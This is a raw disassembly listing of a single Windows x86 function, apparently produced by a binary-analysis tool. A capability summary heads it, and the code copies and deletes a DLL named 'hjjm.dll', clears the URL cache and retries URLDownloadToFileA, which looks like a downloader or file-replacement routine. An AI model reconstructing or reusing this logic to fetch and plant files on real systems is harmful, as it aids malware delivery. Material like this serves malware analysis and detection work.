Function at 0x403b20
Capabilities:
Access peb ldr_data
Copy file
Delete file
Download url
Get number of processors
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x4778c8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4a9128]
xor eax, esp
push eax
lea eax, [esp + 0x34]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0x30], edi
push str.hjjm.dll
lea eax, [esp + 0x24]
push 0x4aa948
push eax
call fcn.00401d00
mov eax, dword [eax]
push eax
mov dword [esp + 0x4c], 0
call fcn.0040a6c0
mov esi, eax
mov eax, dword [esp + 0x30]
or ebx, 0xffffffff
add eax, 0xfffffff0
add esp, 0x10
mov dword [esp + 0x3c], ebx
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403b9c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x403bb9
mov eax, 1
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
push str.hjjm.dll
lea ecx, [esp + 0x24]
push 0x4aa924
push ecx
call fcn.00401d00
mov eax, dword [eax]
mov ebp, 1
push eax
mov dword [esp + 0x4c], ebp
call fcn.0040a6c0
mov esi, eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
add esp, 0x10
mov dword [esp + 0x3c], ebx
lea edx, [eax + 0xc]
mov ecx, ebx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403c06
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x403cc1
push str.hjjm.dll
lea ecx, [esp + 0x20]
push 0x4aa948
push ecx
call fcn.00401d00
mov esi, eax
push str.hjjm.dll
lea edx, [esp + 0x30]
push 0x4aa924
push edx
mov dword [esp + 0x54], 2
call fcn.00401d00
mov esi, dword [esi]
mov eax, dword [eax]
add esp, 0x18
push ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403c71
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov dword [esp + 0x3c], ebx
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403c94
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x403cc1
call fcn.00434c9e
mov eax, dword [eax + 4]
test eax, eax
je 0x403cab
mov ecx, eax
call fcn.004315a0
mov eax, ebp
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
call fcn.00434e50
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403cdb
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov dword [esp + 0x3c], 3
call fcn.00434e50
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403d0d
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
mov byte [esp + 0x3c], 4
call fcn.00434e50
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403d3c
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
lea ecx, [edi + 0x30]
push ecx
lea ecx, [esp + 0x20]
mov byte [esp + 0x40], 5
mov dword [esp + 0x24], ebp
call fcn.00401b60
mov edx, dword [edi + 0x34]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x28]
push ecx
mov ecx, edi
mov dword [esp + 0x34], edx
call fcn.00403410
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 6
call fcn.00401b60
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 5
lea edx, [eax + 0xc]
mov ecx, ebx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403dad
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push str..fff
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00401d00
add esp, 0xc
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 7
call fcn.00401b60
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 5
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebx
dec ebx
test ebx, ebx
jg 0x403df5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x14]
push esi
call fcn.0040a6c0
add esp, 4
test eax, eax
je 0x403e0d
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov ebx, dword [esp + 0x1c]
push ebx
call esi
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
push 0x4aa924
push edx
call fcn.00401c40
mov eax, dword [eax]
add esp, 0xc
push 0
push 0
push eax
push ebx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
mov eax, dword [esp + 0x24]
setne bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e6d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x403ec1
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x2c]
push 0x4aa924
push edx
call fcn.00401c40
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403eb1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x64
call ebp
add edi, 1
cmp edi, 3
jl 0x403e1b
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x2c]
push 0x4aa924
push edx
call fcn.00401c40
add esp, 0xc
mov ecx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x34]
push eax
mov byte [esp + 0x44], 8
call fcn.00401230
test eax, eax
mov eax, dword [esp + 0x28]
sete bl
add eax, 0xfffffff0
or edi, 0xffffffff
mov byte [esp + 0x3c], 5
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403f18
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x403fde
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x34]
push 0x4aa924
push edx
call fcn.00401c40
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f5f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 4
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f83
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 3
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403fa7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x3c], edi
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x403fc8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
push 0x64
call ebp
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x30]
push 0x4aa948
push edx
call fcn.00401c40
mov esi, eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push 0x4aa924
push ecx
mov byte [esp + 0x54], 9
call fcn.00401c40
mov esi, dword [esi]
mov eax, dword [eax]
add esp, 0x18
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404043
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 5
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404067
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x404080
call fcn.00434c9e
mov eax, dword [eax + 4]
test eax, eax
je 0x404088
mov ecx, eax
call fcn.004315a0
jmp 0x404088
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push 0x4aa924
push edx
call fcn.00401c40
mov esi, eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x3c]
push 0x4aa924
push ecx
mov byte [esp + 0x54], 0xa
call fcn.00401c40
mov esi, dword [esi]
mov eax, dword [eax]
push esi
push eax
call fcn.0045d648
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
add esp, 0x20
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4040e4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 5
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404108
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 4
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40412c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 3
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404150
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x3c], edi
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x404171
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret